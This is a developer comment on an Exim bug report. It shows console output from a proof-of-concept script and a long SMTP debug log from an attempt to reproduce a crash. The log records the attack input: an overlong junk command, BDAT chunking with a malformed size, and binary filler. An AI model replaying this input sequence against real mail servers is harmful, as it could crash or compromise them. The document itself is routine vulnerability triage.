https://bugs.exim.org/show_bug.cgi?id=2199
--- Comment #7 from Jeremy Harris <jgh146exb@???> ---
There's no receive_getc either. Meantime, on test on an f27 I can't duplicate
the crash.
Script output:
$ python2.7 poc.py
[+] Opening connection to 127.0.0.1 on port 1225: Done
[*] Switching to interactive mode
421 Lost incoming connection
[*] Got EOF while reading in interactive
$
[*] Closed connection to 127.0.0.1 port 1225
$
Debug output from exim (trimmed at top):
19:20:25 6725 SMTP<< MAIL FROM:<someone@???>
19:20:25 6725 spool directory space = 35998396K inodes = 26760524 check_space
= 10240K inodes = 100 msg_size = 0
19:20:25 6725 log directory space = 35998396K inodes = 26760524 check_space =
10240K inodes = 100
19:20:25 6725 SMTP>> 250 OK
19:20:25 6725 SMTP<< RCPT TO:<eximtest@???>
19:20:25 6725 using ACL "check_recipient"
19:20:25 6725 processing "accept"
19:20:25 6725 check hosts = :
19:20:25 6725 host in ":"? no (end of list)
19:20:25 6725 accept: condition test failed in ACL "check_recipient"
19:20:25 6725 processing "accept"
19:20:25 6725 check domains = +local_domains
19:20:25 6725 test.ex in "@ : test.ex"? yes (matched "test.ex")
19:20:25 6725 test.ex in "+local_domains"? yes (matched "+local_domains")
19:20:25 6725 accept: condition test succeeded in ACL "check_recipient"
19:20:25 6725 end of ACL "check_recipient": ACCEPT
19:20:25 6725 SMTP>> 250 Accepted
19:20:25 6725 DSN: orcpt: NULL flags: 0
19:20:25 6725 SMTP<<
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
**** debug string too long - truncated ****
19:20:25 6725 LOG: smtp_syntax_error MAIN
SMTP syntax error in
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
**** debug string too long - truncated ****
19:20:25 6725 SMTP>> 500 unrecognized command
19:20:25 6725 SMTP<< BDAT 1
19:20:25 6725 chunking state 1, 1 bytes
19:20:25 6725 search_tidyup called
19:20:25 6725 SMTP>> 250 1 byte chunk received
19:20:25 6725 chunking state 0
19:20:25 6725 SMTP<< BDAT ^?
19:20:25 6725 LOG: smtp_protocol_error MAIN
19:20:25 6725 SMTP protocol error in "BDAT \177" H=(test) [127.0.0.1]
missing size for BDAT command
19:20:25 6725 SMTP>> 501 missing size for BDAT command
19:20:25 6725 host in ignore_fromline_hosts? no (option unset)
19:20:25 6725 >>Headers received:
19:20:25 6725
:<FD>aaaaaaï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾
<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾
<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾
<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾
<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾
<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾
<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾
<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????<EF><BE>
**** debug string too long - truncated ****
19:20:25 6725
19:20:25 6725 search_tidyup called
19:20:25 6725 >>Headers after rewriting and local additions:
19:20:25 6725
:<FD>aaaaaaï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾
<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾
<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾
<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾
<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾
<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾
<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾
<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾<DE>????ï¾
<DE>????ï¾<DE>????ï¾<DE>????
**** debug string too long - truncated ****
19:20:25 6725
19:20:25 6725 Data file name:
/home/jgh/git/exim/test/spool//input//1eHx2v-0001kT-8L-D
19:20:27 6725 LOG: MAIN
19:20:27 6725 SMTP connection from (test) [127.0.0.1] lost while reading
message data
19:20:27 6725 SMTP>> 421 Lost incoming connection
19:20:27 6725 search_tidyup called
19:20:27 6718 child 6725 ended: status=0x0
19:20:27 6718 normal exit, 0
19:20:27 6718 0 SMTP accept processes now running
19:20:27 6718 Listening...
I guess that a config file difference could be the discrepancy. Could you
show the debug output from your test run (daemon running with "-d+all")?
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